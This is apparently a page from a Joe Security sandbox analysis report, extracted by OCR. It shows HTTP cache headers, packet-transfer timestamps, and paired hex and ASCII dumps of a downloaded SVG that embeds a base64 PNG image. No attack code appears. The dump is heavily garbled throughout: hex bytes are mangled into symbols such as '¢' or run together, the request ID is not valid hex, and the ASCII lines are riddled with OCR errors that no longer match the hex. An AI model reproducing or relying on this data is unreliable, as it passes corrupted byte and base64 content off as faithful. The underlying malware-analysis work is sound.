Date: Wed, 20 Apr 2022 13:07:42 GMT

Age: 2856

X-Served-By: cache-iad-kiad7000159-IAD, cache-mxp6932-MXP
X-Cache: HIT, HIT

X-Cache-Hits: 1, 1

Vary: Origin, Access-Control-Request-Headers, Access-Control-Request-Method
Access-Control-Allow-Origin: *

Strict-Transport-Security: max-age=31536000

X-Fastly-Request-ID: 0df87e2939b5e5d0201e8d9d82ch28a73f40f243

Data Raw: 3¢ 73 76 67 20 78 6d 6¢ 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73
76 67 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 32 39 30 30 20 31 34 39 34 22 3e 3¢ 64 65 66 73 3e 3¢ 6d 61 73 6b
20 69 64 3d 22 6d 61 73 6b 22 3e 0a 20 20 3¢ 69 6d 61 67 65 20 77 69 64 74 68 3d 22 32 39 30 30 22 20 68 65 69 67 68
74 3d 22 313439 34 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 70 6e 67 3b 62 61 73 65 36 34 2¢ 69 56
42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 43 3151 41 41 41 58 57 43 41 41 41 41 41 41 62 59
56 49 74 41 41 49 4f 45 55 6¢ 45 51 56 52 34 41 65 7a 63 41 35 52 64 39 39 72 41 34 62 64 6d 61 74 76 39 72 6d 33 62
74 6d 3355 747530327951 6c72322f6a757261355a78716d6a

Data Ascii: <svg xmlns="http://www.w3.0rg/2000/svg" viewBox="0 0 2900 1494"><defs><mask id="mask"> <image wid
th="2900" height="1494" href="data:image/png;base64,iVBORWOKGgoAAAANSUhEUgAACIQAAAXWCAAAAA
AbYVItAAIOEUIEQVR4AezcA5Rd99rA4bdmatv9rm3btm3Utu02yQIr2/jura5Zxqmj

Data Raw: 41 4c 49 4c 76 35 38 4c 4f 44 77 41 41 59 42 48 38 4b 68 63 32 63 35 55 59 4f 67 41 41 59 48 77 4f 38 71 34
59 4f 67 41 41 59 45 77 4f 73 6d 75 55 74 65 62 36 79 77 55 41 41 4e 53 62 36 54 6e 49 46 56 48 57 77 5a 65 2b 49 77
41 41 6f 4d 36 73 32 5a 53 44 50 42 41 6¢ 76 58 72 73 36 46 30 43 41 41 44 71 7a 4e 71 74 4f 55 6a 66 64 6¢ 48 4f 6a 6a
66 66 63 64 57 61 41 51 41 41 39 57 57 6a 72 68 7a 73 6a 56 48 4f 62 2f 70 37 63 6d 77 41 41 45 42 39 32 61 41 7a 42
39 73 78 53 6¢ 6e 31 33 39 6e 53 6e 50 64 76 48 41 41 41 55 45 2b 32 36 4d 76 42 66 68 69 6¢ 66 4b 43 39 5a 31 35 6a
59 39 34 5141 41 42 51 54 37 59 71 63 72 41 44 6f 70 53 66 5a 57 74 6a 59 32 4e 4c 66 69 77 41 41 4b 43 4f 62 4a 4d
76 59 35 38 6f 5a 64 2b 65 72 75 62 47 78 74 59 38 50 67 41 41 6f 4a

Data Ascii: ALILvV58LODWAAYBHB8Khc2c5UYOgAAYHwWO8g4YOgAAYEwOsmuUteb6ywUAANSbETnIFVHWwZe+IwAAo
M6s2ZSDPBAIvXrs6 FOCAADgzNqtOUjfdIHOjjffcdWaAQAAIWW rhzsjVHOb/p7cmwAAEB92aAzB9sxSIn139nSnPd
VHAAAUE+26MvBfhilfKC9Z15jY94QAABQT7YqcrADopSfZWijY2NLfiwAAKCObJIMvY580Zd+erubGxtY8PgAA0J

Data Raw: 34 76 2f 78 72 50 65 64 66 75 34 72 61 4f 61 72 44 62 38 6e 4d 72 6f 69 37 61 4a 36 67 51 41 41 46 2f 4f 35
3836 70 4c 72 4a 2f 64 6¢ 61 69 4f 68 31 79 53 65 57 53 77 36 4e 4b 41 51 44 41 42 6b 39 31 7a 4a 69 62 57 57 52 76
51333467 71 74 4e 50 72 37 57 6d 75 70 6f 42 41 48 42 32 50 74 61 63 52 5a 45 64 65 57 74 55 71 5a 2b 4a 36 71 6f
47 41 4d 42 47 38 37 72 6e 5a 56 46 6b 35 74 75 6a 53 76 31 43 56 46 63 33 41 41 42 2b 6e 6¢ 6b 55 52 65 61 2b 55 61
33 65 66 31 58 6¢ 6b 6b 4f 69 65 67 45 41 77 49 2f 7a 57 56 64 47 31 58 72 62 56 53 4d 76 50 43 61 71 47 41 41 41 6e
4a71 39 76 54 6b 71 71 74 5a 36 6f 38 5a 65 2b 64 4f 6f 59 67 41 41 38 4e 58 73 61 4d 31 72 6f 6e 6f 64 64 65 36 31 58
34 737142 67 41 41 57 33 5a 6d 57 31 56 48 39 53 2b 76 75 4f 4b 6a

Data Ascii: 4v/xrPedfu4raOarDb8nMroi7aJ6gQAAF/O586pLrJ/dlaiOhlySeWSw6NKAQDABK91zJibWWRvQ34
gqtNPr7WmupoBAHB2PtacRZEdeWtUqZ+J6qoGAMBG87rnZVFk5tujSv1CVFc3AAB+nlkURea+Ua3ef1XIkkOiegEAwW
1/zZWVdG1XrbVSMvPCaqGAAANJq9vTkaqtZ608Ze+dOoYgAABNXsaMlronodde61X4sqBgAAW3ZmWI1VHIS+vuOKj
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Timestamp transferred Direction
2022-04-20 13:07:42 UTC 3534 IN
2022-04-20 13:07:42 UTC 3535 IN
2022-04-20 13:07:42 UTC 3537 IN
2022-04-20 13:07:42 UTC 3538 IN
2022-04-20 13:07:42 UTC 3540 IN
2022-04-20 13:07:42 UTC 3541 IN
2022-04-20 13:07:42 UTC 3542 IN
2022-04-20 13:07:42 UTC 3544 IN

Copyright Joe Security LLC 2022

Data

Data Raw: 54 58 75 56 44 2b 38 4f 65 45 42 45 52 45 5a 47 4c 58 6¢ 4a 30 4c 54 2b 30 59 5a 37 45 4d 52 67 6¢ 6e 71 49
6f 6f 69 75 47 4f 4a 39 63 6¢ 33 68 74 6b 4b 70 4b 4b 37 32 39 6¢ 2f 38 42 6d 2f 74 74 75 6d 50 41 6d 37 41 6e 52 45 52
4552 4e 52 48 4c 46 67 4d 54 58 41 35 4c 48 47 4d 42 6b 6¢ 41 55 55 54 2b 52 4b 77 75 6b 73 68 76 53 4d 33 76 69 33
31 39 46 33 34 50 6d 32 76 65 59 58 77 4c 32 42 55 69 49 69 49 69 4f 69 79 57 6a 49 51 57 46 4c 30 6b 63 59 7a 47 4a
46 46 39 4e 41 74 69 44 4a 62 45 6¢ 48 65 51 69 76 4b 4c 66 48 32 57 2f 67 36 62 61 33 47 31 4f 51 43 58 64 31 31 67 4
a 34 69 49 69 49 6a 6f 50 62 47 73 4d 6a 54 67 38 38 65 4a 4d 6a 71 68 4a 2b 4b 4a 47 49 4d 6b 71 56 75 66 51 6¢ 56 4f
7a326d2b 416146 76 77 65 62 71 53 54 55 41 6e 33 63 76 44 6a

Data Ascii: TXuVD+80eEBEREZGLXIJOLT+0YZ7EMRgInglooiuGOJ9cI3htkKpKK7291/8Bm/ttumPAmM7AnRERER
NRHLFgMTXA5LHGMBKIAUUT+RKwukshvSM3vi319F34Pm2veYXwL2BUililiOiyWjlIQWFLOkcYzGJIFFONALDJIbEIHe
QivKLfH2W/g6ba3G10QCXd11gJ4ililjoPbGsM|Tg88eJMjghJ+KJIGIMkqVufQIVOz2m+AaFvwebgSTUAN3cvDj

Data Raw: 6¢ 72 55 76 53 69 42 4e 59 49 41 75 66 49 68 4d 67 55 69 6f 67 4c 56 42 71 39 2f 4b 75 71 4d 63 6e 4c 78 39
48 5a 66 46 63 67 4f 49 69 49 37 6¢ 76 32 4b 4a 50 64 69 41 44 51 6b 31 42 7a 56 42 75 75 6a 75 75 64 44 4d 51 74 31
77 4376 53 5a 4b 32 58 62 31 42 49 53 61 54 42 4d 45 6d 37 7a 31 43 76 38 32 63 69 58 79 41 54 49 43 4c 36 61 65 54
71 4a 32 4c 32 37 4d 6e 5a 48 55 63 33 68 34 62 4d 58 72 6¢ 6b 38 5a 4b 46 4d 32 59 75 57 78 32 35 39 75 54 42 59 32
65 75 50 55 6f 77 49 6e 4a 79 54 71 2f 50 43 34 43 49 79 46 36 39 49 38 6¢ 45 6¢ 6f 61 57 314254 46327132 4b 70 71
67 75 64 55 5a 69 6e 63 75 42 52 49 70 6¢ 67 58 57 2b 57 68 31 31 51 6e 56 45 65 61 51 75 55 6¢ 37 43 75 77 42 57 79
48 41 51 45 64 6d 37 58 44 55 38 72 34 71 4a 37 73 72 65 2b 64 37 65

Data Ascii: IrUvSiBNYIAuflhMgUiogLVBq9/KugMcnLx9HZfFcgOlil7Iv2KIPdIADQk1BzVBuujuudDMQt1wCvSZK2Xb1BIS
aTBMEmM7z1Cv82ciXyATICL6aeTqJ2L27MnZHUc3h4bMXrIk8ZKFM2YuWx259uTBY2euPUowInJyTg/PC4ClyF6918I
EloaW1BTF2q2KpggudUZincuBRIplgXW+Wh11QnVEeaQuUI7CuwBWyHAQEdm7XDU8r4qJ7sre+d7e

Data Raw: 2b 66 68 6e 57 30 30 50 49 6e 32 46 46 35 72 76 66 2f 64 59 62 43 55 49 49 4e 5a 6d 33 43 31 43 6a 2b 2f 30
6e 50 72 47 6¢ 71 36 74 7a 37 35 61 75 4d 62 57 64 38 6a 6b 6f 79 68 4e 79 4f 53 67 66 47 2f 42 51 45 59 48 78 30 44
52 4c 52 37 69 51 6e 2b 58 35 4a 42 30 56 34 6e 52 53 6f 42 50 78 57 49 34 57 53 6d 49 32 4a 2f 4b 30 66 36 78 66 71
7879 52 54 6e 69 69 63 38 74 51 45 2f 76 2b 74 65 52 2f 42 6b 4c 50 2b 73 6d 77 56 43 4b 52 4b 4c 62 63 53 78 42 71 3
3 4f 33 6b 69 65 73 74 30 4a 6a 4b 50 6a 6a 50 49 46 6e 74 38 6a 63 2b 69 54 54 69 4d 52 4f 58 6e 65 64 44 4d 30 66 6d
75 47 41 5a 70 76 59 50 76 6f 68 63 77 4f 76 2b 62 71 4b 54 53 37 41 42 42 38 6¢ 76 34 5a 53 50 66 2b 38 7a 6¢ 78 43
45 45 47 6f 71 54 31 49 41 77 4c 4c 78 57 2b 2f 38 36 74 38 37 32 74

Data Ascii: +fhnW0OPIn2FF5rvf/dYbCUIINZm3C1Cj+/0nPrGlg6tz75auMbWd8jkoyhNyOSgfG/BQEYHXODRLR
7iQn+X5JBOV4AnRS0oBPxWI4WSmI2J/K0f6xfaxyRTniic8tQE/v+teR/BKLP+smwVCKRKLbcSxBg303kiest0JjKPjjPIFnt8jc+i
TTIMROXnedDMOfmuGAZpvYPvohcwOv+bgKTS7ABB8IV4ZSP{+8zIXCEEGoqT1IAWLLXW+/86t872t

Data Raw: 42 63 56 47 43 47 52 53 4c 4c 5a 51 6b 70 49 78 56 4c 70 65 4b 6f 67 69 71 6c 30 4c 70 4d 58 59 32 4a 35 69
744871 4e 42 61 72 78 55 53 58 54 32 42 57 6f 77 61 39 43 4f 6f 70 33 30 51 51 51 76 38 6a 55 36 6¢ 65 50 41 78 72 37
43 4b 72 33 4a 53 42 6b 37 35 4f 4e 75 63 61 54 56 71 73 56 67 52 58 6d 4b 39 55 5a 2b 59 4f 6¢ 2b 6e 6¢ 62 35 45 31
56 4c 43 4b 6f 4e 6a 35 38 55 66 61 6f 53 37 72 35 65 54 61 56 37 7a 70 37 68 76 49 4a 51 51 68 68 4a 72 4c 5a 51 6f
41 6b 48 7a 77 2b 78 31 79 7a 64 43 41 33 47 4b 33 57 68 30 75 54 79 6a 73 6f 79 69 58 78 61 44 52 6d 35 78 32 6e 64
61 73 4e 65 68 55 61 70 56 79 51 71 4d 31 4b 50 56 47 6d 39 6e 71 71 42 33 50 62 48 4e 51 54 6f 76 44 34 33 52 52 76
6d 43 59 53 39 49 73 6d 30 37 48 55 39 6¢ 43 53 6b 78 6e 78 48 79 75

Data Ascii: BcVGCGRSLLZQkpIxVLpeKogiglOLpMXY2J5itHgNBarxUSXT2BWowa9COop30QQQv8jUblePAXr7CK
r3JSBk750NucaTVgsVgRXmK9UZ+YOl+nlb5E1VLCKoNj58UfaoS7r5e TaV7zp7hvliIQQhhJrLZQoAkHzw+x1yzdCA3
GK3WhOuTyjsoyiXxaDRm5x2ndasNehUapVyQqM1KPVGm9nqqB3PbHNQTovD43RRvmCY S9Ism07HUSICSkxnxHyu

Data Raw: 6b 51 35 49 65 53 66 2f 77 68 46 47 74 31 6d 6¢ 30 4f 70 31 57 6f 39 4c 6f 39 53 61 6a 30 57 52 31 55 56 61
58 79 2b 33 78 65 39 30 2b 72 39 2f 72 59 79 4a 42 6e 75 57 6a 62 44 6a 4d 68 6¢ 6b 2b 6e 6b 71 6b 73 38 56 69 71 53
51 57 4d 70 4f 70 72 43 69 57 78 45 4f 7a 6e 44 76 41 4d 4d 34 4a 2f 51 77 41 4¢c 50 37 71 4b 72 49 68 43 50 30 4f 4¢c 75
67 6e 42 43 46 30 31 75 2b 67 4d 63 76 4c 73 45 62 70 54 45 58 66 56 34 45 56 34 61 48 4d 72 32 38 6¢ 70 2f 30 56 54
6e 4b 51 42 2b 38 67 36 2f 6d 54 37 46 39 37 6b 34 64 79 79 64 4c 38 38 61 4b 2f 2f 6f 76 32 6a 56 50 33 6b 67 74 35 55
68 6¢ 4f 2b 53 6¢ 42 43 4b 46 6d 64 4e 38 68 41 50 6¢ 37 2f 37 42 6¢ 52 2b 76 4f 78 7a 75 36 35 55 36 62 57 53 75 66 4d
4f 6a 4d 54 71 74 56 72 5a 44 73 37 2b 7a 71 36 75 33 76 6¢ 58

Data Ascii: kQ5leSf/iwhFGt1mI0Op1Wo9L09Saj0WR1UVaXy+3xe90+r9/rYyJBnuWjbDjMhlk+nkgks8VigSQWM
pOprCiWxEOznDVAMMA4J/QWALP7qKrIhCPOOLugnBCFO1u+gMcvLsEbpTEXfVAEV4aHMr28Ip/0VTnKQB+896/mT7F9
7k4dyydL88aK//ov2jVP3kgt5UhlO+SIBCKFmMAN8hAPI7/7BIR+vOxzu65U6bWSUfMOjMT qtVrZDs 7+zq6udviX

Data Raw: 57 55 62 51 51 6e 43 4d 41 78 7a 51 6a 68 33 4a 31 57 6¢ 6¢ 6b 71 56 57 6a 74 71 61 48 38 6f 30 74 7a 52 45
6e 54 62 37 43 36 6a 58 71 39 54 79 53 55 69 6b 56 79 68 74 78 72 74 64 70 66 62 36 33 4f 36 58 49 34 36 6¢ 79 38 51
39 6462 48 45 30 32 78 57 48 74 37 64 30 39 58 53 38 39 77 62 33 66 72 78 70 47 2b 67 59 46 4e 33 63 6e 68 73 57 32
37397559 58 67 47 51 7a 61 53 4b 62 51 58 2f 6b 64 43 36 54 79 59 2b 71 69 55 78 75 64 75 48 42 68 59 55 48 5a 6d
63 66 65 66 36 35 5a 31 39 36 4a 70 63 6a 79 54 66 67 79 51 33 68 61 66 58 52 4d 43 73 38 47 54 59 6f 50 75 78 37 2f
7564 67 515634694859 7a 767251 48 6e 42 68 7a 56 66 48 41 53 48 39 67 50 38 33 72 7a 4c 31 38 42 68 56 6¢ 33
37 66 58 58 2f 65 6d 76 6e 77 55 72 64 44 74 63 52 72 34 48 59 42 69 47

Data Ascii: WUbQQNCMAXxzQjh3J1WIIkqVWijtqaH800tzRENTh7C6jXq9TySUikVyhtxrtdpfb6306X146ly8Q9dbHE02XWHt7d
09XS89wh3frxpG+gYFN3cnhsW279uYXgGQzaSKbQX/kdCETyY+giUxuduHBhYUHZmcfef652196Jpcjy TfgyQ3hafX
RMCs8GTYoPux7/udgQV4iHYzvrQHNBhzVfHASHIgP83rzL18BhVI37fXX/emvnwUrdDtcRr4HYBIG

Data Raw: 77 44 4d 4e 2b 41 6f 39 33 43 38 43 4b 36 53 50 74 63 42 55 4d 30 4c 37 36 33 69 41 38 35 4c 2b 67 4e 4f 43
6f 66 76 52 44 6f 42 52 63 39 4f 4e 50 67 67 2f 65 73 41 61 55 48 67 7a 44 73 41 2b 39 41 4b 48 6f 76 35 56 38 4c 6¢ 66
68 31 46 57 62 39 57 71 5a 67 4d 74 6¢ 63 33 69 63 69 76 4c 38 6d 4a 72 4c 34 66 46 45 51 6¢ 54 51 59 6f 56 57 4a 71
69 5553 57 51 53 48 70 2f 44 46 4d 71 46 6¢ 64 49 71 71 55 59 68 31 6¢ 75 72 4c 42 35 44 74 64 48 6¢ 73 42 6e 39 41
62 2f 4e 48 77 6f 45 36 32 4d 4e 4c 6¢ 38 34 58 68 38 4b 78 63 4a 39 37 62 47 2b 73 63 35 74 67 7a 30 62 36 49 72455
861 6¢ 73 4b 70 33 4e 6b 54 6d 53 7a 43 45 6b 51 63 77 75 7a 4d 30 51 6b 36 2f 43 67 6a 53 65 44 35 5a 67 32 41 63
6e 34 54 48 4b 51 54 46 68 4e 37 34 4d 56 38 6b 69 50 4f 77 61 55 42

Data Ascii: WDMN+A093C8CK6SPtcBUMOL763iA85L+gNOCofvRDoBRc9ONPgg/esAaUHgzDsA+9AKHov5V8LITh1
FWb9WgZgMtlc3icivL8mJIrL4fFEQITQYoVWJIqiUSWQSHp/DFMgFIdigquYh1lurLB5DtdHIsBn9Ab/NHWOE62MNLI8
4Xh8KxcJ97bG+sc5tgz0j6IrEXalsKp3NkTmSzCEKQcwuzMOQk6/CgjSeD5Z2g2Acn4dTHKQTFhN74MV8kiPOwauB

Data Raw: 5a 6¢ 66 42 35 4c 4f 54 4¢c 77 4d 43 32 63 43 70 51 48 44 72 76 7a 2b 44 2f 68 61 4e 2b 76 50 50 31 38 44 56
73 2b 46 33 31 45 4e 77 47 57 65 38 39 2f 5a 63 32 6f 6b 43 59 6f 4c 52 37 55 42 46 4f 36 4b 47 34 5a 65 68 63 64 34 2f
46 4b 77 3570 49 72 4e 34 41 6a 72 48 50 44 6f 7a 77 68 76 42 77 55 62 4e 30 56 6f 50 52 67 47 49 61 64 2f 77 42 63
7050 36 37 48 45 56 31 42 59 57 65 58 2b 71 52 62 32 70 57 78 63 47 6d 70 6¢ 4f 70 56 44 6f 4e 7a 61 77 5a 6¢ 48 76
76 70 31 41 6f 42 35 75 61 68 5a 70 61 67 4a 5a 2b 53 4b 76 55 43 72 53 67 57 6¢ 74 74 74 4e 62 5532 47 33 3257 71
66 4c 35 66 57 35 2f 63 46 51 75 44 34 51 43 68 38 55 61 6b 7a 45 47 78 75 62 6d 70 75 53 54 55 30 64 37 63 32 74 62
63 6e 32 39 70 37 65 72 6f 36 4f 6a 71 36 4f 67 61 37 75 6e 58 73 6e

Data Ascii: ZIBB5LOTLWMC2cCpQHDrvz+D/haN+vPP18DVs+F31ENwWGWe89/Zc20kCYoLR7UBFO6KG4Zehcd4/FK
w5pIrN4AjrHPDozwhvBwUbNOVoPRgGlad/wBcpP67HEV1BYWeX+gRb2pWxcGmplOpVDoNzawZIHvvplAoB5uahZpag
JZ+SKvUCrSgWItttNbU2G32W(fL5fW5/cFQuD4QCh8UakzEGxubmpuSTUOd7c2tbecn29p7ero60jg60ga7unXsn

Page 92 of 342



kBytes

Timestamp transferred Direction
2022-04-20 13:07:42 UTC 3545 IN
2022-04-20 13:07:42 UTC 3545 IN
2022-04-20 13:07:42 UTC 3547 IN
2022-04-20 13:07:42 UTC 3548 IN
2022-04-20 13:07:42 UTC 3549 IN
2022-04-20 13:07:42 UTC 3551 IN
2022-04-20 13:07:42 UTC 3552 IN
2022-04-20 13:07:42 UTC 3553 IN

Copyright Joe Security LLC 2022

Data

Data Raw: 55 54 56 4e 6b 57 56 59 30 47 74 53 61 5a 75 68 65 7a 51 78 35 76 51 6d 2f 74 32 6e 6¢ 79 68 58 4c 58 38 45
3876 58 34 4f 4d 43 65 6f 76 2b 45 78 72 4e 4d 75 4c 58 6d 74 4f 4c 45 4c 67 36 43 37 66 6a 4a 74 47 33 62 68 44 69
68 33 70 32 33 41 6b 70 6f 45 54 50 35 4f 2b 57 61 66 7a 76 4d 59 68 5a 67 41 68 35 7a 58 58 31 36 33 62 76 50 6d 4e
66 71 73 38 65 4e 2f 42 59 63 5a 6a 38 65 77 35 58 7a 6f 71 4d 2f 4a 63 42 73 65 35 75 33 54 67 47 4559 70 6e 64 79 4
959 36 36 76 6f 42 32 63 77 57 74 61 63 4a 36 58 31 56 4a 4a 7a 2b 47 6b 4d 47 50 67 57 54 59 65 6e 42 46 4a 54 33
46 70 6b 30 39 63 75 52 6f 65 6b 7a 39 36 47 4f 6b 71 5a 39 36 68 6a 54 31 39 4a 6b 6b 71 75 63 75 58 44 68 76 77 66
79 6¢ 64 62 57 31 4c 6e 75 4e 7a 65 35 78 32 65 78 75 6¢ 34 65 58 42 63

Data Ascii: UTVNKWVY 0GtSaZuhezQx5vQm/t2nlyhXLX8E8vX40OMCeov+EXrNMuLXmtOLELg6C7{jJtG3bhDih3p
23AkpoETP50+WafzvMYhZgAh5zXX163bvPmNfgs8eN/BYcZj8ew5XzoqM/JcBse5u3TgGEYpndylY66voJ2cwWiac
6X1VJJIz+GkMGPgWTYenBFJT3Fpk09cuRoekz96 GOkqz96hjT19JkkqucuXDhvwfyldbW1LnuNze5x2exuldeXBc

Data Raw: 71 44 2b 61 6f 45 68 6b 58 31 52 2f 30 55 61 35 2b 4a 6d 2f 41 59 56 6b 48 2b 50 74 4e 76 46 52 36 4c 41 6d
5875 72 31 68 69 34 34 44 70 68 74 50 50 4b 6b 6¢ 55 77 77 72 73 35 46 76 51 77 66 66 79 65 52 6a 6d 72 32 31 34 70
4c 61 4¢c 67 57 45 59 70 6a 65 61 6a 50 6a 55 44 52 56 44 42 70 4f 68 61 54 4a 4c 50 63 77 61 6e 47 35 2f 51 4¢c 48 43
32 67 68 43 6f 6e 70 49 42 51 33 74 34 63 4d 66 65 75 53 52 55 62 53 70 4a 7a 78 4b 6d 2f 72 4a 70 35 36 64 50 50 6d 3
561 54 4e 6d 7a 70 6f 37 64 39 36 43 70 55 73 58 4c 31 6¢ 61 62 62 4d 37 36 41 6d 31 35 50 46 49 76 4d 68 7a 48 6f 47
30 4e 4d 66 4a 73 6b 79 36 57 6¢ 4d 6¢ 53 64 55 55 52 64 46 55 33 64 41 31 6b 74 53 6d 56 7a 66 4d 51 43 52 63 6e 2f
42 4a 59 6d 42 56 34 79 62 4d 32 79 58 41 73 4b 67 2b 30 74 4e 51 4f

Data Ascii: gD+aoEhkX1R/0Ua5+Jm/AY VkH+PtNVFR6LAmMXur1hi44DphtPPKkIUwwrs5FvQwffyeRjmr214pLal
gWEYpjeajPjUDRVDBpOhaTJLPcwanG5/QLHC2ghConplBQ3t4cMfeuSRUbSpJzxKm/rdp56dPPm5aTNmzpo7d96CpU
sXL1labbM76Am15PFIvMhzHoGONMfIsky6WIMISAUURAFU3dA1ktSmVzfMQCRcn/BIJYmBV4ybM2yXAsKg+0tNQO

Data Raw: 38 6d 58 30 6d 44 48 6a 36 54 7a 31 45 32 53 54 48 6¢ 6d 6¢ 5a 7a 58 31 76 41 58 6b 45 73 58 71 47 70 75
7470 6f 34 45 74 63 50 70 6¢ 44 52 42 31 52 52 4a 64 57 69 71 78 41 6d 53 7a 41 6d 71 35 42 59 45 6d 66 4e 49 54 6f
37 6e 65 55 34 55 52 55 47 51 64 4d 72 30 47 72 72 58 47 77 6f 45 67 71 46 67 4a 46 32 66 65 71 46 2b 48 65 62 74 39
5a 50 67 78 4d 50 38 46 41 2f 35 4c 68 42 53 36 61 4e 36 66 44 50 6d 71 75 71 71 47 63 46 64 65 46 54 72 76 4a 50 2b
66 53 5a 59 62 74 2b 42 4f 56 70 2f 46 70 53 78 57 37 48 6b 2b 67 4e 54 6b 41 6¢ 59 73 4e 2f 43 51 5a 65 75 78 55 4f 32
50 66 39 58 36 4f 41 36 7a 4d 47 50 67 48 6f 62 75 33 51 52 64 4d 47 4c 4b 4a 30 4d 44 4d 4d 77 35 65 63 53 78 47 55
3356 56 4c 57 6¢ 4d 65 77 34 51 2b 50 36 66 2b 62 76 77 35 59 68 6¢ 6b

Data Ascii: 8mX0mDHj6Tz1E2STHIMIZzX1vAXKEsXqGputpo4EtcPpIDRB1IRRJIdWigxAmSzAmg5BYEmINITo7neU
4URUGQAMrOGrrXGwoEgqgFgJF2feqF+Hebt9ZPgxMP8FA/5LhBS6aN6fDPmquqqGcFdeFTrvIP+SZYbt+BOVp/FpSx
W7Hk+gNTKAIYsN/CQZeuxUO2PfIX60A6zMGPgHobu3QRAMGLKIOMDMMw5ecSxGU3VVLWIMew4Q+P6f+bvw5Yhlk

Data Raw: 55 7a 32 37 43 7a 4a 38 36 47 6a 6b 5a 67 62 74 62 52 61 5a 4c 6e 38 42 44 74 72 48 75 78 73 39 31 30 69
76 7430 7a 6¢ 72 77 63 39 44 46 61 7a 65 6b 33 77 6f 41 77 7a 42 4d 75 51 6e 68 68 6b 47 44 68 31 71 71 53 46 64 50
2b 4f 59 5a 79 2f 47 6f 6¢ 74 30 31 61 74 79 34 38 57 54 78 42 39 31 50 33 58 36 4e 34 6e 79 72 71 57 31 32 70 38 76 6C
34 54 68 42 6b 67 52 46 6¢ 52 56 46 4e 61 33 37 45 6b 6¢ 50 36 2f 51 53 63 76 4b 6d 30 37 37 57 44 54 72 77 59 53 69 5
3714569 79 4a 6f 6e 30 46 33 30 2b 6a 5a 63 44 68 71 48 36 67 71 46 6f 4e 42 4b 50 6b 65 6e 71 5a 65 6e 6f 46 73 7a
58 56 2b 42 45 78 71 49 61 64 59 44 2f 77 30 36 2b 43 55 58 30 6d 52 53 32 59 67 39 62 41 6d 58 4c 6a 71 58 6d 42 4b
59 41 66 39 64 6f 6e 4a 36 33 41 77 76 30 78 71 56 41 4c 4d 59 6a 72

Data Ascii: Uz27CzJ86GjkZgbtbRaZLn8BDtrHuxs910ivt0zlrwc9DFazek3woAwzBMuQnhhkGDh1qqSFdP+OYZy/Golt0lat
y48WTxB91P3X6N4nyrqW12p8vi4ThBkgRFIRVFNa37EKIP6/QScvKm077WDTrwY SiSqEiyJon0F30+jZcDhgH6ggFo
NBKPkengZenoFszXV+BExqladYD/w06+CUXO0mMRS2Yg9bAmXLjgXmBKYAf9donJ63AwvOxqVALMY;|r

Data Raw: 69 75 70 4d 4f 4f 32 73 53 36 2f 34 7a 73 30 2f 4f 4b 58 50 4b 63 43 63 79 46 48 39 48 79 77 50 4c 62 2b 46
4d 76 56 44 4c 4c 47 42 77 42 52 6f 43 54 62 76 51 37 7a 36 58 31 69 34 4a 75 7a 43 64 77 48 67 53 31 48 4d 57 77 71
4f 63 4f 34 71 37 43 42 35 79 66 65 76 2f 50 5a 4a 30 4d 6¢ 33 33 31 32 57 49 52 70 32 33 77 6a 6¢ 67 57 45 59 35 6b 62
45 65 62 65 31 46 7a 55 31 76 50 49 5a 48 62 75 6b 56 7a 78 46 4e 6e 39 4d 66 6d 34 61 48 61 68 65 73 49 67 4f 56 4e
50 31 31 4c 78 41 52 7a 39 30 2b 69 77 69 6e 66 59 49 55 4d 46 67 69 4c 7a 49 78 31 41 77 45 49 33 36 51 71 47 67 31
2f54 71 6b 71 6f 72 6b 71 62 49 48 6¢ 58 6d 42 56 6b 53 42 49 38 6b 43 35 4a 75 36 6f 46 59 49 47 52 34 6f 39 46 41 72
44 34 53 54 30 52 53 36 56 53 69 4d 64 54 55 68 6e 6b 59 42 38 58

Data Ascii: iupMO0O2sS6/4zs0/OKXPKcCcyFHIHywPLb+FMvVDLLGBWBR0OCTbvQ7z6X1i4JuzCdwHgS1HMWwqOcO
4q7CB5yfev/PZJOMI3312WIRp23wjlgWEY5kbEebe1FzU1vPIZHbukVzxFNn9Mfm4aHahes|gOVNP11LXARZ90+iwi
nfYIUMFgiLzIx1AWEI36QqGg1/TgkgorkgblHIXmBVkSBI8KC5Ju60FYIGR409FArDASTORSEVSIMATUhNKYB8X

Data Raw: 2f 37 38 4e 67 38 59 36 65 51 64 58 72 5a 31 52 2f 30 65 6e 4b 33 68 39 37 35 6f 6d 6d 47 31 32 72 71 37 4e
67 48 62 65 70 59 4c 42 4b 4a 78 38 4f 78 61 43 67 55 6a 49 52 38 4a 4b 6e 39 58 6e 6f 46 6a 4b 4c 6f 75 75 79 52 42 55
6d 55 42 46 33 52 76 49 49 67 4b 43 72 35 6e 71 61 54 6e 35 4e 66 69 38 54 69 34 55 67 79 6d 55 6a 58 4a 39 4f 4a 2b
6d 54 43 2b 7a 62 6d 36 75 74 51 67 42 2f 6b 66 72 48 75 74 58 42 69 59 46 48 39 68 78 53 57 6b 77 6f 6f 55 30 45 73 6f
52 57 6e 51 54 45 77 2f 30 41 73 4f 4b 71 44 51 4e 32 49 52 54 59 65 75 76 52 37 78 4d 4f 72 2b 74 55 7a 4b 35 75 33
7279 42 52 76 61 64 31 49 34 33 71 44 5a 4f 42 59 52 69 6d 48 44 79 45 4f 48 34 67 54 57 72 71 6b 59 70 52 38 7a 62 6
9736230386267 71 3539 3257 4f 74 66 71 6a 7a 6b 59 6e 71

Data Ascii: /78Ng8Y6eQdXrZ1R/0enK3h9750mmG12rq7NgHbepYLBKJIx80xaCgUjIR8IKnIXnoFjKLouuyRBUMU
BF3RvIIgKCr5ngqaTn5Nfi8Ti4UgymUjXJ90J+mTC+zbm6utQgB/kfrHutXBiY FHOhxSWkwooUOESORWNQTEW/0ASOK
gDQN2IRTYeuvR7xMOr+tUzK5u3ryBRvad1143qgDZOBYRIimHDYEOH4gTWrgkY pR8zbish08bgq592WOtfgjzkYnq

Data Raw: 54 63 32 63 2b 6d 4c 33 6a 36 72 76 70 58 64 6a 58 58 58 31 35 2b 69 4a 39 35 73 71 48 73 58 4c 44 31 2b
374872767242 39 44 75 35 47 6¢ 34 30 42 52 6f 64 79 30 53 72 58 6a 49 2b 73 70 71 7a 77 65 49 2b 48 62 47 30 74
6a 34 55 6e 50 6d 73 39 43 54 47 49 5a 68 66 6f 54 6f 75 64 4d 61 2f 52 67 35 34 71 35 68 30 31 62 69 38 58 6b 65 6€ 7
